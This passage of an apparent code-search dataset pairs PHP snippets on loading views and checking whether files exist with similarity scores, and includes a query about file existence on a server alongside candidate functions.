"public function view_file() {\n\t\t$currentPath = implode('/', $this->passedArgs);\n\t\t$fullPath = $this->path . $currentPath;\n\t\t$previousPath = implode('/', array_slice($this->passedArgs, 0, count($this->passedArgs) -1));\n\t\t$upOneFolder = implode('/', array_slice($this->passedArgs, 0, count($this->passedArgs) -2));\n\n\t\tif (!file_exists($fullPath)) {\n\t\t\t$this->_notFound(__('No file exists with that name', true));\n\t\t}\n\t\ttry {\n\t\t\t$docs = $this->ApiFile->loadFile($fullPath);\n\t\t} catch(Exception $e) {\n\t\t\t$this->_notFound($e->getMessage());\n\t\t}\n\t\t$classIndex = ClassRegistry::init('ApiGenerator.ApiClass')->getClassIndex();\n\t\tlist($dirs, $files) = $this->ApiFile->read($this->path . $previousPath);\n\n\t\tif (!empty($docs)) {\n\t\t\t$this->set('showSidebar', true);\n\t\t\t$this->set('sidebarElement', 'sidebar/file_sidebar');\n\t\t\t$this->set(compact('currentPath', 'previousPath', 'upOneFolder', 'docs', 'dirs', 'files', 'classIndex'));\n\t\t} else {\n\t\t\t$this->set('previousPath', $previousPath);\n\t\t\t$this->render('no_class');\n\t\t}\n\t}",
"public function is_file($file);",
"public function testFileName()\n\t{\n\t\t$this->assertEquals(\"BaseView.mustache\", $this->view->getFile());\n\t}",
"function ifExists()\n\t {\n\t\t $file= CTRL.DS.$this->url[0].'.php';\n\t\t \n\t\t\n\t\t if(!file_exists($file))\n\t\t {\n\t\t\t $this->error(\"File does not exist \");\n\t\t\t echo\"<a href='\".DIR.\"index'>Back</a>\";\n\t\t\t exit();\n\t\t\t\n\t\t }\n\t\t\n\t }",
"public function getFile($view) \n {\n return \"{$this->sourcePath}/{$this->files[$view]}\"; \n }",
"public function view($view,$data=[]){\n\n if(file_exists('../app/views/'.$view.'.php')){\nrequire_once '../app/views/'.$view.'.php';\n\n }\n else{\n die('view does not exists!');\n }\n }",
"public function support($file);",
"protected function action_viewfile()\n\t{\n\t\tglobal $context;\n\n\t\t$error_details = $this->errorLog->getErrorLogData(\n\t\t\t0,\n\t\t\t'down',\n\t\t\t[\n\t\t\t\t'variable' => 'id_error',\n\t\t\t\t'value' => [\n\t\t\t\t\t'sql' => $this->_req->query->err,\n\t\t\t\t],\n\t\t\t]\n\t\t)['errors'][$this->_req->query->err]['file'];\n\n\t\t$data = iterator_to_array(\n\t\t\ttheme()->getTemplates()->getHighlightedLinesFromFile(\n\t\t\t\t$error_details['file'],\n\t\t\t\tmax($error_details['line'] - 16 - 9, 1),\n\t\t\t\tmin($error_details['line'] + 21, count(file($error_details['file'])) + 1)\n\t\t\t)\n\t\t);\n\n\t\t// Mark the offending line.\n\t\t$data[$error_details['line']] = sprintf(\n\t\t\t'<div class=\"curline\">%s</div>',\n\t\t\t$data[$error_details['line']]\n\t\t);\n\n\t\t$context['file_data'] = [\n\t\t\t'contents' => $data,\n\t\t\t'file' => strtr($error_details['file'], ['\"' => '\\\\\"']),\n\t\t];\n\n\t\ttheme()->getTemplates()->load('Errors');\n\t\ttheme()->getLayers()->removeAll();\n\t\t$context['sub_template'] = 'show_file';\n\t}",
"protected function view($var_and_file = array(\"content\"=>\"index.php\"),$var = array()){\n foreach($var_and_file as $variabel => $file){\n if(is_object($file)||is_array($file)||strpos($file,\".php\")==0)\n $$variabel = $file;\n else\n $$variabel = $this->viewPartial($file,$var);\n }\n include_once(\"system/view/component/$this->layout\");\n }",
"function LoadView(string $view)\n{\n global $login;\n global $user_id;\n $loadView = 'view/generated/'.$view.'.php';\n if (is_file($loadView)) {\n include_once $loadView;\n } else {\n die(\"View not found $loadView\");\n // show 404 here\n }\n}",
"public function isFile()\n {\n return ( $this->fileStructure->type == self::IS_FILE );\n }",
"abstract public function getTemplateFile();",
"function loadView($file, $params = array()) {\n \n if(!empty($params)) {\n extract($params);\n } \n \n include realpath(dirname(__FILE__)).'/../view/'.$file.'.php';\n}",
"public function file_exists($file);",
"public function renderView($i)\n {\n //extract giá trị nhập vào từ mảng $i lấy ra được $controller, $action và $type (từ Router)\n extract($i);\n // tạo đường dẫn đến view\n $pathViews = $this->src_root . 'Views/Controllers/' . str_replace($this->src_link, '', $controller) . '/' . str_replace('Action', '', $action) . '.php';\n //Nếu tồn tại file view, tiến hành render\n if (file_exists($pathViews)) {\n //Lấy các giá trị để hiển thị sau khi chạy qua addDataView\n extract($this->vars);\n //turn on output buffering ( dùng để thay thế view)\n ob_start();\n //include view\n include_once $pathViews;\n //Get current buffer contents and delete current output buffer\n $viewContent = ob_get_clean();\n\n ob_start();\n include_once $this->src_root . 'Views/Layouts/' . $this->getLayout() . '.ptm.php';\n $finalRender = ob_get_clean();\n\n echo $finalRender;\n } elseif (!empty($_SERVER['HTTP_REFERER'])) {\n header('location :' . $_SERVER['HTTP_REFERER']);\n die();\n } else {\n header('location :', LINK_ROOT);\n die();\n }\n }",
"protected static function file()\n {\n }",
"function actionSource() {\r\n\r\n\t\t\t// Get the basename of the file\r\n\t\t\t$file = $_GET['id'];\r\n\r\n\t\t\t// Filepath should start with the directory of this file\r\n\t\t\t$basePath = strtolower( dirname( __FILE__ ) );\r\n\t\t\t$filePath = strtolower( dirname( realpath( $_GET['id'] ) ) );\r\n\r\n\t\t\t// Check if the file is in the right directory\r\n\t\t\tif ( substr( $filePath, 0, strlen( $basePath ) ) != $basePath ) {\r\n\t\t\t\t$this->forward( 'default' );\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\t// Check if the file exists\r\n\t\t\tif ( ! is_file( $file ) ) {\r\n\t\t\t\t$this->forward( 'default' );\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\t// Show the highlighted source\r\n\t\t\t$this->template->assign( 'file', $file );\r\n\t\t\t$this->template->assign( 'source', highlight_file( $file, 1 ) );\r\n\r\n\t\t\t// Output the template\r\n\t\t\t$this->template->display();\r\n\r\n\t\t}",
"protected function generateViewFile()\n {\n $sViewFile = $this->viewFile($this->sCliName);\n\n //if the view file is not empty and not the current running file\n if (!empty($sViewFile) && $sViewFile !== $this->sCliName)\n {\n //then return it as is...\n $this->sViewName = $this->sCliName;\n return $sViewFile;\n }\n\n //attempt to use the mode for the view\n $sViewFile = $this->viewFile($this->sMode);\n\n if (!empty($sViewFile))\n {\n $this->sViewName = $this->sMode;\n return $sViewFile;\n }\n\n return $this->viewFile('default');\n }",
"function st_get_template($file,$data = array()){\r $file = ST_DIR.'/templates/'.$file;\r if(file_exists($file)){\r include($file); return true;\r }\r return false;\r}",
"public function getFile($file)\n\t{\n\t\t$file = str_replace(\".\", \"/\", $file);\n\n\t\tif($this->file->exists($file.\".blade.php\"))\n\t\t\treturn $file.\".blade.php\";\n\n\t\tif($this->file->exists($file.\".php\"))\n\t\t\treturn $file.\".php\";\n\n\t\treturn false;\n\n\t}",
"public function hasFileName(){\n return $this->_has(3);\n }",
"function isFile($file=null)\r\n{\r\n\treturn (!empty($file) && file_exists($file) && is_file($file));\r\n}",
"function isFile() {\n\t\treturn $this->repoObj->lobSubType == 'document';\n\t}",
"public function FileNotFound() {\n $this->Render();\n }",
"function view($fileName, $data=null) {\n if(is_array($data)) {\n extract($data);\n }\n require_once('html/' . $fileName);\n }",
"public function userfileAction() {\r\n\t\tif ((int)$this->_getParam('_parent') < 0) {\r\n \t\t$this->_detailedView('user_file');\r\n\t\t} else {\r\n\t\t\t$this->_component = $this->_components['user_file'];\r\n\t\t\t$this->detailedAction();\r\n\t\t}\r\n\t}",
"public function testFileNotFoundException ()\n {\n $this->tran->loadFile(2);\n $this->tran->loadFile();\n $this->tran->loadFile(true);\n $this->tran->loadFile('asd');\n }",
"function get_real_file_to_edit($file)\n {\n }",
"public function isFile() : bool;",
"function module_fileLoad($val, $data)\n{\n\t$ext\t= explode('.', $data);\n\t$ext\t= end($ext);\n\t$ext\t= strtolower($ext);\n\tswitch($ext){\n\tcase 'js':\treturn module_scriptLoad($val, $data);\n\tcase 'css':\treturn module_styleLoad($val, $data);\n\t}\n}",
"protected function fileName() {}",
"static function exist($view, $context = NULL)\n {\n $file = static::find($view, $context);\n return $file ? file_exists($file) : FALSE;\n }",
"private function __fileContent()\n {\n return VIEWS . DS . $this->__paths['controller'] . DS . $this->__paths['action'] . '.php';\n }",
"abstract protected function _getFileName();",
"protected function check($file)\n {\n }",
"public function hasFile($key)\n {\n return parent::hasFile($key);\n }",
"public function isFile()\n {\n return $this->isFile;\n }",
"public function fileinput(){\n $this->load->view('admin/fileinput');\n }",
"public static function isFile($_file)\r\n {\r\n return is_file($_file);\r\n }",
"public function set_filename($file) {\r\n if ( self::is_smarty_template($file) ) {\r\n throw new Kohana_Exception('Cannot use set_filename to initialise Smarty template :tpl; use View::factory instead',\r\n array(':tpl' => $file));\r\n }\r\n return parent::set_filename($file);\r\n}",
"public function show_file($file) {\n $file = Ahkam::with('comments')->with('authorizedUsers')->findOrFail($file); \n return view('Ahkam.show_ahkam',compact('file'));\n\n }",
"public function getFileAToView()\n {\n // when displaying uploaded doc/image in the view.\n return '/../'.$this->getUploadDir().'/'.$this->pathA;\n }",
"public function isFile() {\n return $this->_is_file;\n }",
"public function render($file);",
"function sw_include( $file ) {\n\t$_file_path = TEMPLATEPATH . '/inc/' . $file . '.php';\n\n\tif( file_exists( $_file_path ) ) :\n\t\tinclude $_file_path;\n\telse:\n\t\treturn 0;\n\tendif;\n}",
"public function fetch($view){\n \n if(file_exists($this->path . $view . '.php')){\n return $this->path . $view . '.php';\n }\n\n if(file_exists($this->path . $view . '.view.php')){\n return $this->path . $view . '.view.php';\n }\n\n if(file_exists($this->path . $view)){\n return $this->path . $view;\n }\n\n\n throw new Exception(\"View does not exists\" . $this->path.$view); \n }",
"public function isFilebased() {\n\t\treturn FALSE;\n\t}",
"protected function get_file() {\n\n\t\treturn __FILE__;\n\t}",
"private static function viewRequireTemplate(ViewHelper $galastri): void\n {\n $viewLastModified = '';\n $templateLastModified = self::$viewTemplateFile->fileLastModified()->get();\n\n if (self::$viewPath->isNotNull()) {\n if (self::$viewPath->fileExists()) {\n $viewLastModified = self::$viewPath->fileLastModified()->get();\n }\n }\n\n if (!self::browserCache($viewLastModified.$templateLastModified)) {\n require(self::$viewTemplateFile->realPath()->get());\n }\n }",
"function get_file(){\n extract($this->_url_params);\n /**\n * @var string $file_name\n * @var int $project_id\n */\n $this->load_view(false);\n if(!isset($file_name, $project_id)) goto redirect;\n /**\n * @var \\AWorDS\\App\\Models\\Project $project\n */\n $project = $this->set_model();\n $logged_in = $project->login_check();\n if($logged_in AND $project->verify($project_id)){\n $file_type = null;\n switch($file_name){\n case 'SpeciesRelation.txt': $file_type = Constants::EXPORT_SPECIES_RELATION; break;\n case 'DistantMatrix.txt' : $file_type = Constants::EXPORT_DISTANT_MATRIX; break;\n case 'NeighbourTree.jpg' : $file_type = Constants::EXPORT_NEIGHBOUR_TREE; break;\n case 'UPGMATree.jpg' : $file_type = Constants::EXPORT_UPGMA_TREE;\n }\n if($file_type == null) goto redirect;\n $file = $project->export($project_id, $file_type);\n if($file == null){\n redirect:\n $this->redirect(isset($_SERVER['HTTP_REFERER']) ?\n $_SERVER['HTTP_REFERER'] :\n Config::WEB_DIRECTORY . 'projects');\n exit();\n }\n header('Content-Type: ' . $file['mime']);\n header('Content-Disposition: attachment; filename=\"' . $file['name'] . '\"');\n readfile($file['path']);\n exit();\n }\n goto redirect;\n }",
"private static function viewCheckFileExists(): void\n {\n /**\n * The template file is required, so, if it doesn't exist, an exception is thrown.\n */\n if (self::$viewTemplateFile->fileNotExists()) {\n throw new Exception(self::TEMPLATE_FILE_NOT_FOUND[1], self::TEMPLATE_FILE_NOT_FOUND[0], [self::$viewTemplateFile->get()]);\n }\n\n /**\n * The view file isn't required if the 'viewPath' parameter wasn't defined in the route\n * configuration. In this case, if the file doesn't exist in the view directory, the\n * $viewPath property will be set as null. However, if there is a 'viewPath' parameter\n * defined, then an exception will be thrown if the file doesn't exist.\n */\n if (self::$viewPath->fileNotExists()) {\n if (empty(self::$routeController->getViewPath())) {\n self::$viewPath->set(null);\n } else {\n throw new Exception(self::VIEW_FILE_NOT_FOUND[1], self::VIEW_FILE_NOT_FOUND[0], [self::$viewPath->get()]);\n }\n }\n }",
"public function getViewFile($controller,$viewName)\n\t{\n\t\t$moduleViewPath=$this->getViewPath();\n\t\tif(($module=$controller->getModule())!==null)\n\t\t\t$moduleViewPath.='/'.$module->getId();\n\t\treturn $controller->resolveViewFile($viewName,$this->getViewPath().'/'.$controller->getUniqueId(),$this->getViewPath(),$moduleViewPath);\n\t}",
"function show($path,$data=array()){\n extract($data);\n require($this->template_name.$path.'.php');\n\n return true;\n }",
"public function setTemplate($file);",
"public function getViewFile($viewName)\n { // Try the template specific path first\n $path = APPLICATION_PATH.$this->_paths['pkg_template'].'/html/'.$viewName.'.php';\n if( file_exists($path) ) return $path;\n // Next try the domain common path\n $path = APPLICATION_PATH.$this->_paths['pkg_common'].'/html/'.$viewName.'.php';\n if( file_exists($path) ) return $path;\n // Finally, try the app common path\n $path = APPLICATION_PATH.$this->_paths['app_common'].'/html/'.$viewName.'.php';\n if( file_exists($path) ) return $path;\n // If none of these files were found, return false to indicate failure\n return false;\n }",
"function file_exist_ret($type, $id, $ib, $ext = '.jpg')\n {\n if (file_exists('uploads/' . $type . '_image/' . $type . '_' . $id . '_' . $ib . $ext)) {\n $ib = $ib + 1;\n $ib = $this->file_exist_ret($type, $id, $ib);\n return $ib;\n } else {\n return $ib;\n }\n }",
"function file_exist_ret($type, $id, $ib, $ext = '.jpg')\n {\n if (file_exists('uploads/' . $type . '_image/' . $type . '_' . $id . '_' . $ib . $ext)) {\n $ib = $ib + 1;\n $ib = $this->file_exist_ret($type, $id, $ib);\n return $ib;\n } else {\n return $ib;\n }\n }",
"public function setView($file = FALSE)\n {\n if($file)\n $this->fileName = $file;\n else\n _d('Class name: '.__CLASS__.' line: '.__LINE__.' function: '.__FUNCTION__.' You must set view file.',1);\n }",
"function fetch($file = null)\n\t{\n\t\t\n\t\tif( JRequest::getVar('format') == 'iphone' )\n\t\t{\t\t\t\t\n\t\t\t$file\t.= '.iphone';\n\t\t} \t \n\t\t\n\t\t$file = $this->_getTemplateFullpath( $file );\n \t\n if(!$file) $file = $this->file;\n \n if((JRequest::getVar('format') == 'iphone') && (!JFile::exists($file)))\n {\n \t//if we detected the format was iphone and the template file was not there, return empty content.\n \treturn '';\n }\n\n\t\t// @rule: always add jomsocial config object in the template scope so we don't really need\n\t\t// to always set it.\n\t\tif( !isset( $this->vars['config'] ) && empty($this->vars['config']) )\n\t\t{\n\t\t\t$this->vars['config']\t= CFactory::getConfig();\n\t\t}\n\t\t\n\t\tif($this->vars)\n \textract($this->vars, EXTR_REFS); // Extract the vars to local namespace\n\n ob_start(); // Start output buffering\n require($file); // Include the file\n $contents = ob_get_contents(); // Get the contents of the buffer\n ob_end_clean(); // End buffering and discard\n return $contents; // Return the contents\n }",
"function _get_template_edit_filename($fullpath, $containingfolder)\n {\n }",
"function _is_it_ico($file)\r\n{\r\n $ext = substr($file, -4);\r\n if ($ext === '.ico') {\r\n return true;\r\n }\r\n return false;\r\n}",
"public function hasFileName() {\n return $this->_has(2);\n }",
"public function isFile(): bool;",
"function exists_request_file($request_id,$file_id)\n\t{\n\t\t$this->db->select('id');\t\t\n\t\t$this->db->from('lic_file_downloads');\t\t\n\t\t$this->db->where('requestid',$request_id);\t\t\n\t\t$this->db->where('fileid',$file_id);\t\t\n\t\tif ($this->db->count_all_results() > 0)\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\treturn FALSE;\n\t}",
"public function get_file() {\n\t\treturn __FILE__;\n\t}",
"public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Lock_Service_FileType::getFileType(intval($id));\t\t\n\t\t$this->assign('info', $info);\n\t}",
"function file_source_can_be_displayed($filename) {\n return in_array(get_file_extension($filename), get_displayable_file_types());\n }",
"private function shareModelHasFileToView(): void\n {\n /** @var \\Illuminate\\Database\\Eloquent\\Model $model */\n $model = static::${'modelClass'};\n\n View::share('hasFile', (bool)collect((new $model())->getEditableProperties())->filter(function ($prop) {\n return $prop['type']->equals(CrudType::image()) or $prop['type']->equals(CrudType::file());\n })->count());\n }",
"private function requireView() {\n /**\n * Lista blanca de rutas de URL\n */\n switch ($this->uri) {\n case '':\n case 'index':\n require_once 'index.view.php';\n break;\n\n default: \n //Pagina de error\n require_once 'not_found.view.php';\n break;\n }\n }",
"function getTemplate($fileName)\n{\n // variable $file equals $fileName\n // $fileName is given value when function is called getTemplate(page1_template.html)\n // file_get_contents = reads entire file into a string\n $file = file_get_contents($fileName);\n // IF we point to the file\n if($file ) {\n // returns the contents of the file.\n return $file;\n }\n // ELSE (the file is not pointing to the correct place)\n else {\n // print the message \"File not found\" and exit the script ( die() ).\n die(\"File not found\");\n }\n\n}",
"public function displayFile()\r\n {\r\n $filePath = $this->root.'/'.$this->route;\r\n \r\n if (!self::isFile($this->route)) {\r\n throw new Exception('The route is not a correct file.');\r\n }\r\n if (!file_exists($this->root.'/'.$this->route)) {\r\n throw new Exception('The file '.$filePath.' does not exists.');\r\n }\r\n \r\n echo file_get_contents($filePath);\r\n }",
"protected function _run()\r\n {\r\n $file = func_num_args() > 0 &&\r\n file_exists(func_get_arg(0))\r\n ? func_get_arg(0)\r\n : '';\r\n if ($this->_customTemplate || $file) {\r\n $template = $this->_customTemplate;\r\n if (!$template) {\r\n $template = $file;\r\n }\r\n\r\n $this->_smarty->display($template);\r\n }\r\n else {\r\n throw new Zend_View_Exception(\r\n 'Cannot render view without any template\r\n being assigned or file does not exist'\r\n );\r\n }\r\n }",
"public function issetFile($key){\n if(isset($this->file[$key])){\n return true;\n }\n \n return false;\n }",
"public function exists($file) {\n\t}",
"function display( $file = false, $args = array() ) {\n\t\tif( ! $file || empty( $file ) ) {\n\t\t\tthrow new Wgobd_File_Not_Provided( \"You need to specify a view file.\" );\n\t\t}\n\n\t\t$file = WGOBD_VIEW_PATH . \"/\" . $file;\n\n\t\tif( ! file_exists( $file ) ) {\n\t\t\tthrow new Wgobd_File_Not_Found( \"The specified view file doesn't exist.\" );\n\t\t} else {\n\t\t\textract( $args );\n\t\t\trequire( $file );\n\t\t}\n\t}",
"function getFileExists() {\n\t\treturn file_exists($this->getFilename());\n\t}",
"function get_file()\n\t{\n\t\treturn $this->file;\n\t}",
"public static function file() {\r\n\t\treturn __FILE__;\r\n\t}",
"public function getTemplateFile();",
"private function hasView($page) {\r\n return file_exists($this->getView($page));\r\n }",
"public function exists(){\n\t\t$fichName = $this->getPath();\n\t\treturn file_exists($fichName);\n\t}",
"function view(string $name, array $params = array()): string\n{\n $file = getContent($name, $params);\n return (!empty($file)) ? $file : error('404');\n}",
"public function checkViewFile(FileData $fileData)\n\t{\n\t\treturn true;\n\t}"
] | [
"0.64322627",
"0.6166821",
"0.6081976",
"0.6016428",
"0.6016428",
"0.5998254",
"0.5956351",
"0.5897475",
"0.5897475",
"0.58952355",
"0.58952355",
"0.58952355",
"0.5829842",
"0.5826333",
"0.5813117",
"0.5799172",
"0.57834125",
"0.5780054",
"0.573799",
"0.5716008",
"0.56868106",
"0.56808203",
"0.5678233",
"0.5677334",
"0.56248176",
"0.56139016",
"0.5599943",
"0.558852",
"0.55830085",
"0.5570287",
"0.5568465",
"0.5567677",
"0.55598235",
"0.55585504",
"0.5546394",
"0.55422527",
"0.553063",
"0.55278057",
"0.5508069",
"0.5503769",
"0.5503455",
"0.55009216",
"0.5490489",
"0.5478264",
"0.54695266",
"0.54665285",
"0.5461775",
"0.5450589",
"0.5432624",
"0.54247093",
"0.5420869",
"0.5419782",
"0.5418818",
"0.5404552",
"0.53974795",
"0.53966206",
"0.53948027",
"0.5392761",
"0.5385613",
"0.537304",
"0.53713995",
"0.53474784",
"0.5345298",
"0.53434026",
"0.53394353",
"0.5333137",
"0.5331657",
"0.53240824",
"0.5315023",
"0.531492",
"0.5307849",
"0.53037155",
"0.5297228",
"0.5296719",
"0.5296719",
"0.529302",
"0.528563",
"0.5282408",
"0.5263956",
"0.5243413",
"0.5239693",
"0.5235143",
"0.5234717",
"0.5227701",
"0.5223717",
"0.5220923",
"0.5220023",
"0.52153206",
"0.52105635",
"0.52028215",
"0.5199448",
"0.51959515",
"0.5189483",
"0.5188185",
"0.5184918",
"0.5180782",
"0.51782",
"0.51735115",
"0.5172665",
"0.51722574",
"0.5170946"
] | 0.0 | -1 |
Does the file exist on the server | public function fileExists($fileName, $fileExtension = 'file', $isImage = false, $path = null)
{
// Create a correct path
$filePath = FileComponent::createFilePath($path, $fileName, $fileExtension, $isImage);
// Instanciate the file on the ftp
$file = new File($filePath);
return $file->exists();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function is_exist_file() {\r\n\t\treturn file_exists( $this->get_path( 'file' ) );\r\n\t}",
"public function isFileExistsRemotely();",
"public function exists(){\n\t\t$fichName = $this->getPath();\n\t\treturn file_exists($fichName);\n\t}",
"public function file_exists($file);",
"public function fileExists() {\r\n return file_exists($this->pathname);\r\n }",
"function IsFileExist()\n{\t\n\t$sFileUrl = '';\n\t\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t\n\t$sFileUrl = $_REQUEST['file-path']; \n\t\n\tif(file_exists($sFileUrl) === true)\n\t{\n\t\techo '<correct>file exist</correct>';\n\t} else\n\t{\n\t\techo '<correct>file not exist</correct>';\n\t}\n\t\n\treturn;\n}",
"public function fileExists($name);",
"public function localFileExists()\n {\n return file_exists($this->GetRealPath());\n }",
"function getFileExists() {\n\t\treturn file_exists($this->getFilename());\n\t}",
"private function does_file_exist( string $url ): bool {\n\t\t$ch = curl_init( $url );\n\t\tcurl_setopt( $ch, CURLOPT_NOBODY, true );\n\t\tcurl_setopt( $ch, CURLOPT_TIMEOUT_MS, 50 );\n\t\tcurl_exec( $ch );\n\t\t$http_code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );\n\t\tcurl_close( $ch );\n\t\treturn $http_code === 200;\n\t}",
"function exists() {\n\t\treturn is_file($this->path);\n\t}",
"public function exists($file) {\n\t}",
"public function exists($file) {\n\t\treturn false;\n\t}",
"public function exists()\n\t{\n\t\treturn is_file($this->_path);\n\t}",
"public function isExist(){\n\t\t\tif(file_exists($this->_nameFile)){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}",
"public function isExists(){\n\t\treturn file_exists($this->getFullName());\n\t}",
"function exists()\n {\n return is_file($this->getPath());\n }",
"public function exists($filename);",
"private static function remoteFileExists($url) {\n\t\t$f = @fopen($url, 'r');\n\t\tif($f) {\n\t\t\tfclose($f);\n\t\t\treturn TRUE;\n\t\t}\n\t\treturn FALSE;\n\t}",
"public function exists()\n {\n return file_exists($this->path);\n }",
"public function exists(): bool\n {\n return file_exists($this->path);\n }",
"public function fileExist(string $path): bool\n {\n return file_exists($this->_sftpGetPath($path));\n }",
"public function exists(): bool\n {\n return is_file($this->path);\n }",
"public function exists() {\n\n return file_exists($this->path);\n }",
"public function exists() : bool\n\t{\n\t\treturn (file_exists($this->path));\n\t}",
"public function isFileExists()\n {\n $fileNameWithPath = $this->dir . '/' . $this->fileName;\n if(!is_file($fileNameWithPath)) {\n return false;\n }\n\n return true;\n }",
"public function exists(): bool\n {\n return file_exists($this->directory->getPath().'/'.$this->filename);\n }",
"private function riddleFileExists()\n\t\t{\n\n\t\t\tif (FileSystem::exists(Settings::setting('riddle_location')) == false)\n\t\t\t{\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}",
"public function exists()\n {\n if (empty($this->filename)) {\n return false;\n }\n\n // Since we only have a valid path when the file exists this is a good test.\n $filename = $this->getFullPath();\n\n if (!empty($filename)) {\n return true;\n }\n // else\n return false;\n }",
"public function exists()\n\t{\n\t\treturn $this->get('fullPath') && file_exists($this->get('fullPath'));\n\t}",
"public function exists()\n {\n return file_exists($this->getPath());\n }",
"public static function fileExist($path) {\n clearstatcache();\n return is_file($path);\n }",
"function fileExists($file){\n\treturn is_file($file) || (@fopen($file,'r')==true);\n}",
"public function exists(string $filename) : bool;",
"function file_exists($pathname)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_mdtm($this->_socket, $pathname);\r\n \t} else {\r\n \tif (!$this->_socket) {\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"MDTM\", $pathname);\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Remote file \".$pathname.\" exists\\n\");\r\n \t\treturn TRUE;\r\n \t} else {\r\n \t\t$this->debug(\"Remote file \".$pathname.\" does not exist\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n }",
"public function exists(): bool\n {\n return $this->fileExists;\n }",
"function pathExists($path);",
"public function exists()\n {\n $this->clearStatCache();\n\n return (file_exists($this->path) && is_file($this->path));\n }",
"public function exists() {\n\n\t\tif ($this->fileInfo->isFile() && $this->fileInfo->isReadable()) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}",
"function does_file_exist ($ip,$vhost,$query) {\n\t$data = \"\";\n\t$fp = fsockopen($ip, 80, $errno, $errstr, 1);\n\tif (!$fp) {\n\t\treturn false;\n\t} else {\n\t\t$out = \"HEAD $query HTTP/1.1\\r\\n\";\n\t\t$out .= \"Host: $vhost\\r\\n\";\n\t\t$out .= \"Connection: Close\\r\\n\\r\\n\";\n\t\tfwrite($fp, $out);\n\t\twhile (!feof($fp)) {\n\t\t\t$data .= fgets($fp);\n\t\t}\n\t\tif (ereg('HTTP/1.1 200 OK', $data)) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\t\n\t\t\n\t\tfclose($fp);\n\t}\n}",
"function icedrive_file_exists($path, $file)\r\n {\r\n $files = array();\r\n $response = $this->icedrive->request('PROPFIND', $path);\r\n $response = $this->icedrive_response_to_array($response['body']);\r\n\r\n if (empty($response['dresponse'])) {\r\n return false;\r\n }\r\n\r\n foreach ($response['dresponse'] as $f) {\r\n if (is_array($f) && array_key_exists('dhref', $f)) {\r\n $files[] = $f['dhref'];\r\n }\r\n }\r\n if (in_array($path . $file, $files)) {\r\n return true;\r\n }\r\n return false;\r\n }",
"public function exists()\n\t\t{\n\t\t\t$path = $this->get_path();\n\n\t\t\treturn $path && file_exists($path);\n\t\t}",
"public function pathExists($path);",
"public function exists($path);",
"public function fileExists($file)\r\n {\r\n $pathFile = $this->_destination . $file;\r\n return file_exists($pathFile);\r\n }",
"private function check_exists()\n\t{\n\t\t// so this is sufficient to test for existence in accordance with\n\t\t// File::check_exists()\n\t\t// However, getFileInfo() is slow, since it involves a DB query,\n\t\t// so we'll cache the result in $this->exists and test that first...\n\t\tif ( $this->exists )\n\t\t\treturn true;\n\t\telse $this->getFileInfo();\n\t}",
"function fileExists($filePath) {\n\t\timport('lib.pkp.classes.file.FileManager');\n\t\t$fileMgr = new FileManager();\n\n\t\treturn $fileMgr->fileExists(realpath($filePath));\n\t}",
"public function exists()\n {\n if (file_exists($this->getDestination()))\n {\n try\n {\n // Do a redirect to the file on filesystem - don't load contents in - that costs memory\n $url = str_replace(sfImagePoolPluginConfiguration::getBaseDir(), sfImagePoolPluginConfiguration::getBaseUrl(), $this->getDestination());\n \n sfContext::getInstance()->getController()->redirect($url, 0, 301);\n \n return $url;\n }\n catch (Exception $e)\n {\n return false;\n }\n }\n else\n {\n return false;\n }\n }",
"public function fileExists ($file)\n {\n return is_file ($this->getAbsolutePath ($file));\n }",
"public function check() {\n\t\treturn file_exists($this->getFilePath());\n\t}",
"public function exists($path) {\n return file_exists($path);\n }",
"public function exists()\n\t{\n\t\ttry\n\t\t{\n\t\t\t$this->check_exists();\n\t\t\treturn true;\n\t\t}\n\t\tcatch(DatabaseFileException $e)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}",
"public static function checkFileExists($file, $url){\n\t\t\n\t\tif(empty($file)) return false;\n\t\tif(!is_file($url.$file)) false;\n\t\treturn true;\n//\t\ttry {\n//\t\t\tfclose(fopen($file, \"r\"));\n//\t\t\treturn true;\n//\t\t} catch (Exception $e) {\n//\t\t\treturn false;\n//\t\t}\n\t}",
"public function check_file ( $file ) {\r\n\t\treturn file_exists( $file );\r\n\t}",
"private function __isFile()\n\t{\n\t\tif(!$this->exists())\n\t\t{\n\t\t\t$this->error = 'File \\'' . $this->_path . '\\' does not exist';\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}",
"private function file_exists( $path, $filename )\n\t{\n\t\t$finder = new Finder();\n\n\t\ttry {\n\t\t\t$count = $finder\n\t\t\t\t\t\t->files()\n\t\t\t\t\t\t->in($path)\n\t\t\t\t\t\t->name($filename)\n\t\t\t\t\t\t->depth('== 0')\n\t\t\t\t\t\t->count()\n\t\t\t;\n\t\t} catch ( InvalidArgumentException $e ) {\n\t\t\techo json_encode($e->getMessage());\n\t\t\texit;\n\t\t} catch ( Exception $e ) {\n\t\t\t$errors = array(\n\t\t\t\t'error' => $e->getMessage(),\n\t\t\t);\n\n\t\t\t// Set the template here\n\t\t\t$template = File::get( __DIR__ . '/views/error-no-render.html');\n\n\t\t\t$html = Parse::template($template, $errors);\n\n\t\t\theader('Content-Type', 'application/json');\n\t\t\techo self::build_response_json(false, true, FILECLERK_S3_ERROR, $e->getMessage(), 'error', $errors, null, null);\n\t\t\texit;\n\t\t}\n\n\t\treturn $count === 1 ? TRUE : FALSE;\n\t}",
"private static function fileExists($file)\n {\n if (!is_file($file) || !file_exists($file))\n return false;\n\n return true;\n }",
